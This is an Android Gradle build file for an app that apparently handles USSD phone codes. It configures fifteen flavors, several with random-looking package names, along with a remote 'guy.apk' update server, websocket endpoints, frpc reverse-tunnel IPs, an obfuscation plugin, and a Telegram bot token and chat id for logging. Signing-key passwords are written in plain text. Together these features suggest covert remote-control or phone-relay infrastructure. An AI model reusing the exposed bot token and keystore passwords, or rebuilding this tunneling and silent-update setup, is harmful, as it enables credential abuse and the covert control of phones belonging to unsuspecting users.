build.gradle 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493
  1. import org.json.JSONObject
  2. apply plugin: 'com.android.application'
  3. apply from: 'xmlclassguard.gradle'
  4. android {
  5. compileSdkVersion 31
  6. flavorDimensions "baseUrl"
  7. productFlavors {
  8. userdev {
  9. dimension "baseUrl"
  10. applicationId "com.ghpcarphone.ussd"
  11. resValue "string", "app_name", "A"
  12. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  13. buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
  14. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
  15. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  16. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  17. buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
  18. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  19. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  20. manifestPlaceholders = [app_icon: "@mipmap/ic_a"]
  21. }
  22. user1 {
  23. dimension "baseUrl"
  24. applicationId "com.ghpcarphone.ussd"
  25. resValue "string", "app_name", "B"
  26. buildConfigField "String", "BASE_URL", "\"https://www.ghpcarphone.com\""
  27. buildConfigField "String", "UPDATE_KEY", "\"bfbc2f7f-779a-4719-9295-60eefbb9269f\""
  28. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user1/\""
  29. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  30. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  31. buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
  32. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  33. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  34. manifestPlaceholders = [app_icon: "@mipmap/ic_b"]
  35. ndk {
  36. //noinspection ChromeOsAbiSupport
  37. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  38. }
  39. }
  40. user2 {
  41. dimension "baseUrl"
  42. applicationId "com.dcduckcake.ussd"
  43. resValue "string", "app_name", "C"
  44. buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
  45. buildConfigField "String", "UPDATE_KEY", "\"2be6db19-4be6-45f5-8a93-368ad7cb6405\""
  46. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
  47. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  48. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  49. buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
  50. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  51. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  52. manifestPlaceholders = [app_icon: "@mipmap/ic_c"]
  53. ndk {
  54. //noinspection ChromeOsAbiSupport
  55. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  56. }
  57. }
  58. user3 {
  59. dimension "baseUrl"
  60. applicationId "com.bcblackcoffee.ussd"
  61. resValue "string", "app_name", "D"
  62. buildConfigField "String", "BASE_URL", "\"https://www.bcblackcoffee.com\""
  63. buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
  64. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
  65. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  66. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  67. buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
  68. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  69. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  70. manifestPlaceholders = [app_icon: "@mipmap/ic_d"]
  71. ndk {
  72. //noinspection ChromeOsAbiSupport
  73. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  74. }
  75. }
  76. user4 {
  77. dimension "baseUrl"
  78. applicationId "com.lkluckpanda.ussd"
  79. resValue "string", "app_name", "E"
  80. buildConfigField "String", "BASE_URL", "\"https://www.lkluckpanda.com\""
  81. buildConfigField "String", "UPDATE_KEY", "\"64f225d4-e9a4-4c9f-93eb-133ff2f16c3e\""
  82. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user4/\""
  83. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  84. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  85. buildConfigField "String", "WEB_URL", "\"\""
  86. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  87. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  88. manifestPlaceholders = [app_icon: "@mipmap/ic_e"]
  89. ndk {
  90. //noinspection ChromeOsAbiSupport
  91. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  92. }
  93. }
  94. user5 {
  95. dimension "baseUrl"
  96. applicationId "com.user.ussd"
  97. resValue "string", "app_name", "F"
  98. buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
  99. buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
  100. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
  101. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  102. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  103. buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
  104. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  105. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  106. manifestPlaceholders = [app_icon: "@mipmap/ic_f"]
  107. ndk {
  108. //noinspection ChromeOsAbiSupport
  109. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  110. }
  111. }
  112. user6 {
  113. dimension "baseUrl"
  114. applicationId "com.ghpcarphone.cm"
  115. resValue "string", "app_name", "G"
  116. buildConfigField "String", "BASE_URL", "\"https://cm-www.ghpcarphone.com\""
  117. buildConfigField "String", "UPDATE_KEY", "\"455b5053-9d7f-43ae-a115-76f16cfaf3f5\""
  118. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user6/\""
  119. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  120. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  121. buildConfigField "String", "WEB_URL", "\"wss://cm-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
  122. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  123. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  124. manifestPlaceholders = [app_icon: "@mipmap/ic_g"]
  125. ndk {
  126. //noinspection ChromeOsAbiSupport
  127. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  128. }
  129. }
  130. user7 {
  131. dimension "baseUrl"
  132. applicationId "com.si.ussd"
  133. resValue "string", "app_name", "H"
  134. buildConfigField "String", "BASE_URL", "\"https://www.lovepizzaxx.com\""
  135. buildConfigField "String", "UPDATE_KEY", "\"d3bf5c93-5119-4092-bd5f-a3e99fbce2ed\""
  136. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user7/\""
  137. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  138. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  139. buildConfigField "String", "WEB_URL", "\"wss://lk-naughty.lkluckpanda.online/69f3476bb6e001a9c320719073f055cc/app/\""
  140. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  141. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  142. manifestPlaceholders = [app_icon: "@mipmap/ic_h"]
  143. ndk {
  144. //noinspection ChromeOsAbiSupport
  145. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  146. }
  147. }
  148. user8 {
  149. dimension "baseUrl"
  150. applicationId "com.kpkingpark.ussd"
  151. resValue "string", "app_name", "I"
  152. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  153. buildConfigField "String", "UPDATE_KEY", "\"59e95b20-759a-472a-bf07-a4e4b2e7a1f0\""
  154. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user8/\""
  155. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  156. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  157. buildConfigField "String", "WEB_URL", "\"wss://saffron.ghpcarphone.com/69f3476bb6e001a9c320719073f055cc/app/\""
  158. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  159. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  160. manifestPlaceholders = [app_icon: "@mipmap/ic_i"]
  161. ndk {
  162. //noinspection ChromeOsAbiSupport
  163. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  164. }
  165. }
  166. user9 {
  167. dimension "baseUrl"
  168. applicationId "com.ghpcarphone.cote"
  169. resValue "string", "app_name", "J"
  170. buildConfigField "String", "BASE_URL", "\"https://cote-www.ghpcarphone.com\""
  171. buildConfigField "String", "UPDATE_KEY", "\"bbddc5d7-9d45-4a3b-afdd-a8a36c96f4af\""
  172. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user9/\""
  173. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  174. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  175. buildConfigField "String", "WEB_URL", "\"wss://ci-naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
  176. buildConfigField "String", "FRPC_IP", "\"XXXXXX\""
  177. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  178. manifestPlaceholders = [app_icon: "@mipmap/ic_j"]
  179. ndk {
  180. //noinspection ChromeOsAbiSupport
  181. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  182. }
  183. }
  184. user10 {
  185. dimension "baseUrl"
  186. applicationId "com.nbwz.lvix.gdjgnp.gfhw"
  187. resValue "string", "app_name", "K"
  188. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  189. buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
  190. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/\""
  191. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  192. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  193. buildConfigField "String", "WEB_URL", "\"\""
  194. buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
  195. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  196. manifestPlaceholders = [app_icon: "@mipmap/ic_k"]
  197. ndk {
  198. //noinspection ChromeOsAbiSupport
  199. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  200. }
  201. }
  202. user11 {
  203. dimension "baseUrl"
  204. applicationId "com.cdfo.emvyey.axkcae.ixjl"
  205. resValue "string", "app_name", "L"
  206. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  207. buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
  208. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t1/\""
  209. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  210. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  211. buildConfigField "String", "WEB_URL", "\"\""
  212. buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
  213. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  214. manifestPlaceholders = [app_icon: "@mipmap/ic_l"]
  215. ndk {
  216. //noinspection ChromeOsAbiSupport
  217. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  218. }
  219. }
  220. user12 {
  221. dimension "baseUrl"
  222. applicationId "com.fyxmwe.ewha.dfajdm.lfuqog"
  223. resValue "string", "app_name", "M"
  224. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  225. buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
  226. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t2/\""
  227. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  228. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  229. buildConfigField "String", "WEB_URL", "\"\""
  230. buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
  231. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  232. manifestPlaceholders = [app_icon: "@mipmap/ic_m"]
  233. ndk {
  234. //noinspection ChromeOsAbiSupport
  235. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  236. }
  237. }
  238. user13 {
  239. dimension "baseUrl"
  240. applicationId "com.dwvb.axg.lyg.fbcq"
  241. resValue "string", "app_name", "N"
  242. buildConfigField "String", "BASE_URL", "\"https://www.kpkingpark.com\""
  243. buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
  244. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t3/\""
  245. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  246. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  247. buildConfigField "String", "WEB_URL", "\"\""
  248. buildConfigField "String", "FRPC_IP", "\"3.68.158.69\""
  249. buildConfigField "String", "FRPC_PORT", "\"XXXXX\""
  250. manifestPlaceholders = [app_icon: "@mipmap/ic_n"]
  251. ndk {
  252. //noinspection ChromeOsAbiSupport
  253. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  254. }
  255. }
  256. user14 {
  257. dimension "baseUrl"
  258. applicationId "com.npyv.gqaokx.mdqd.pebxr"
  259. resValue "string", "app_name", "O"
  260. buildConfigField "String", "BASE_URL", "\"https://india.gdtabletouch.com\""
  261. buildConfigField "String", "UPDATE_KEY", "\"87d8f3b8-3e95-47f4-9d9d-b7affd5e997c\""
  262. buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user10/man/t4/\""
  263. buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
  264. buildConfigField "String", "UPDATE_JSON", "\"config.json\""
  265. buildConfigField "String", "WEB_URL", "\"\""
  266. buildConfigField "String", "FRPC_IP", "\"13.212.226.7\""
  267. buildConfigField "String", "FRPC_PORT", "\"11080\""
  268. manifestPlaceholders = [app_icon: "@mipmap/ic_o"]
  269. ndk {
  270. //noinspection ChromeOsAbiSupport
  271. abiFilters 'armeabi-v8a', 'armeabi-v7a'
  272. }
  273. }
  274. }
  275. defaultConfig {
  276. minSdkVersion 29
  277. //noinspection ExpiredTargetSdkVersion
  278. targetSdkVersion 29
  279. versionCode 49
  280. versionName "0.40.3.0"
  281. multiDexEnabled true
  282. testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
  283. }
  284. compileOptions {
  285. sourceCompatibility = 1.8
  286. targetCompatibility = 1.8
  287. }
  288. buildFeatures {
  289. viewBinding = true
  290. }
  291. signingConfigs {
  292. normal {
  293. storeFile file('..\\app\\frpcapp.jks')
  294. storePassword 'frpcapp'
  295. keyAlias = 'frpcapp'
  296. keyPassword 'frpcapp'
  297. }
  298. user10 {
  299. storeFile file('..\\app\\appkey2254.jks')
  300. storePassword 'appkey'
  301. keyAlias = 'appkey'
  302. keyPassword 'appkey'
  303. }
  304. user11 {
  305. storeFile file('..\\app\\appkey201517_1.jks')
  306. storePassword 'appkey'
  307. keyAlias = 'appkey'
  308. keyPassword 'appkey'
  309. }
  310. user12 {
  311. storeFile file('..\\app\\appkey201519_2.jks')
  312. storePassword 'appkey'
  313. keyAlias = 'appkey'
  314. keyPassword 'appkey'
  315. }
  316. user13 {
  317. storeFile file('..\\app\\appkey201520_3.jks')
  318. storePassword 'appkey'
  319. keyAlias = 'appkey'
  320. keyPassword 'appkey'
  321. }
  322. user14 {
  323. storeFile file('..\\app\\appkey2042191.jks')
  324. storePassword 'appkey'
  325. keyAlias = 'appkey'
  326. keyPassword 'appkey'
  327. }
  328. }
  329. buildTypes {
  330. release {
  331. buildConfigField "boolean", "LOG_DEBUG", "false"
  332. minifyEnabled true
  333. zipAlignEnabled true
  334. shrinkResources true
  335. proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
  336. productFlavors.user14.signingConfig signingConfigs.user14
  337. productFlavors.user13.signingConfig signingConfigs.user13
  338. productFlavors.user12.signingConfig signingConfigs.user12
  339. productFlavors.user11.signingConfig signingConfigs.user11
  340. productFlavors.user10.signingConfig signingConfigs.user10
  341. productFlavors.user9.signingConfig signingConfigs.normal
  342. productFlavors.user8.signingConfig signingConfigs.normal
  343. productFlavors.user7.signingConfig signingConfigs.normal
  344. productFlavors.user6.signingConfig signingConfigs.normal
  345. productFlavors.user5.signingConfig signingConfigs.normal
  346. productFlavors.user4.signingConfig signingConfigs.normal
  347. productFlavors.user3.signingConfig signingConfigs.normal
  348. productFlavors.user2.signingConfig signingConfigs.normal
  349. productFlavors.user1.signingConfig signingConfigs.normal
  350. productFlavors.userdev.signingConfig signingConfigs.normal
  351. }
  352. debug {
  353. buildConfigField "boolean", "LOG_DEBUG", "true"
  354. minifyEnabled false
  355. zipAlignEnabled false
  356. shrinkResources false
  357. proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
  358. productFlavors.user14.signingConfig signingConfigs.user14
  359. productFlavors.user13.signingConfig signingConfigs.user13
  360. productFlavors.user12.signingConfig signingConfigs.user12
  361. productFlavors.user11.signingConfig signingConfigs.user11
  362. productFlavors.user10.signingConfig signingConfigs.user10
  363. productFlavors.user9.signingConfig signingConfigs.normal
  364. productFlavors.user8.signingConfig signingConfigs.normal
  365. productFlavors.user7.signingConfig signingConfigs.normal
  366. productFlavors.user6.signingConfig signingConfigs.normal
  367. productFlavors.user5.signingConfig signingConfigs.normal
  368. productFlavors.user4.signingConfig signingConfigs.normal
  369. productFlavors.user3.signingConfig signingConfigs.normal
  370. productFlavors.user2.signingConfig signingConfigs.normal
  371. productFlavors.user1.signingConfig signingConfigs.normal
  372. productFlavors.userdev.signingConfig signingConfigs.normal
  373. }
  374. }
  375. repositories {
  376. mavenCentral()
  377. flatDir {
  378. dirs 'libs'
  379. }
  380. }
  381. applicationVariants.configureEach { variant ->
  382. variant.outputs.configureEach {
  383. outputFileName = "guy.apk"
  384. def flavorName = variant.productFlavors.get(0).name
  385. def dimension = variant.productFlavors.get(0).dimension
  386. def applicationId = variant.productFlavors.get(0).applicationId
  387. def baseUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("BASE_URL").value
  388. def updateKey = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_KEY").value
  389. def updateBaseUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_BASE_URL").value
  390. def updateAppName = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_APP_NAME").value
  391. def updateJson = android.productFlavors.getByName(flavorName).buildConfigFields.get("UPDATE_JSON").value
  392. def webUrl = android.productFlavors.getByName(flavorName).buildConfigFields.get("WEB_URL").value
  393. def frpcIp = android.productFlavors.getByName(flavorName).buildConfigFields.get("FRPC_IP").value
  394. def frpcPort = android.productFlavors.getByName(flavorName).buildConfigFields.get("FRPC_PORT").value
  395. def json = new JSONObject()
  396. def map = new HashMap();
  397. map.put("flavorName", flavorName)
  398. map.put("dimension", dimension)
  399. map.put("baseUrl", baseUrl)
  400. map.put("applicationId", applicationId)
  401. map.put("updateKey", updateKey)
  402. map.put("updateBaseUrl", updateBaseUrl)
  403. map.put("updateAppName", updateAppName)
  404. map.put("updateJson", updateJson)
  405. map.put("webUrl", webUrl)
  406. map.put("frpcIp", frpcIp)
  407. map.put("frpcPort", frpcPort)
  408. json.put("versionName", variant.versionName)//版本名称
  409. json.put("versionCode", variant.versionCode)//版本号
  410. json.put("description", "New features\n")//更新内容
  411. json.put("isForce", false)//是否强制更新
  412. json.put("title", "New version updated")//更新dialog显示的标题头
  413. json.put("chatId", "-1001958143149L")//日志chat_id
  414. json.put("botToken", "6428083297:AAEFS5ccl49hBsYbGAqJdEM5Cv8bvHUTC4I")//日志token
  415. json.put("config", map)
  416. // 获取 APK 文件的父文件夹
  417. def apkFilePath = outputFile.parent
  418. def targetFolder = file(apkFilePath)
  419. targetFolder.mkdirs()
  420. // 写入 JSON 文件
  421. def jsonFile = file("${apkFilePath}/config.json")
  422. jsonFile.write(json.toString())
  423. }
  424. }
  425. }
  426. dependencies {
  427. implementation fileTree(dir: 'libs', include: ['*.jar'])
  428. implementation 'androidx.appcompat:appcompat:1.1.0'
  429. implementation 'androidx.constraintlayout:constraintlayout:1.1.3'
  430. implementation 'androidx.legacy:legacy-support-v4:1.0.0'
  431. implementation 'com.google.android.material:material:1.1.0'
  432. implementation 'androidx.navigation:navigation-fragment:2.3.0'
  433. implementation 'androidx.navigation:navigation-ui:2.3.0'
  434. implementation 'androidx.lifecycle:lifecycle-extensions:2.2.0'
  435. testImplementation 'junit:junit:4.12'
  436. androidTestImplementation 'androidx.test.ext:junit:1.1.1'
  437. androidTestImplementation 'androidx.test.espresso:espresso-core:3.2.0'
  438. implementation(name: 'frpclib', ext: 'aar')
  439. implementation 'androidx.recyclerview:recyclerview:1.1.0'
  440. implementation 'com.jakewharton:butterknife:10.2.1'
  441. annotationProcessor 'com.jakewharton:butterknife-compiler:10.2.1'
  442. implementation 'com.squareup.retrofit2:retrofit:2.6.2'
  443. implementation 'com.squareup.retrofit2:converter-gson:2.6.2'
  444. implementation 'com.squareup.retrofit2:adapter-rxjava2:2.6.2'
  445. implementation 'io.reactivex.rxjava2:rxandroid:2.0.2'
  446. implementation 'io.reactivex.rxjava2:rxjava:2.1.16'
  447. implementation 'com.github.ahmadaghazadeh:CodeEditor:1.0.17'
  448. implementation 'com.afollestad.material-dialogs:core:0.9.6.0'
  449. implementation 'org.jetbrains:annotations:15.0'
  450. implementation 'com.github.CymChad:BaseRecyclerViewAdapterHelper:3.0.4'
  451. implementation 'io.github.jeremyliao:live-event-bus-x:1.8.0'
  452. implementation 'com.google.android.material:material:1.5.0'
  453. implementation "androidx.multidex:multidex:2.0.1"
  454. def room_version = "2.4.1"
  455. implementation "androidx.room:room-runtime:$room_version"
  456. annotationProcessor "androidx.room:room-compiler:$room_version"
  457. implementation "androidx.room:room-rxjava2:$room_version"
  458. implementation 'com.blankj:utilcodex:1.30.6'
  459. implementation 'androidx.work:work-runtime:2.7.0'
  460. implementation 'org.xutils:xutils:3.9.0'
  461. implementation 'com.alibaba:fastjson:1.2.73'
  462. implementation 'com.github.sanyinchen:LogView:v1.0'
  463. def appCenterSdkVersion = '5.0.0'
  464. implementation "com.microsoft.appcenter:appcenter-analytics:${appCenterSdkVersion}"
  465. implementation "com.microsoft.appcenter:appcenter-crashes:${appCenterSdkVersion}"
  466. implementation "com.microsoft.appcenter:appcenter-distribute:${appCenterSdkVersion}"
  467. implementation project(':ussd-library')
  468. }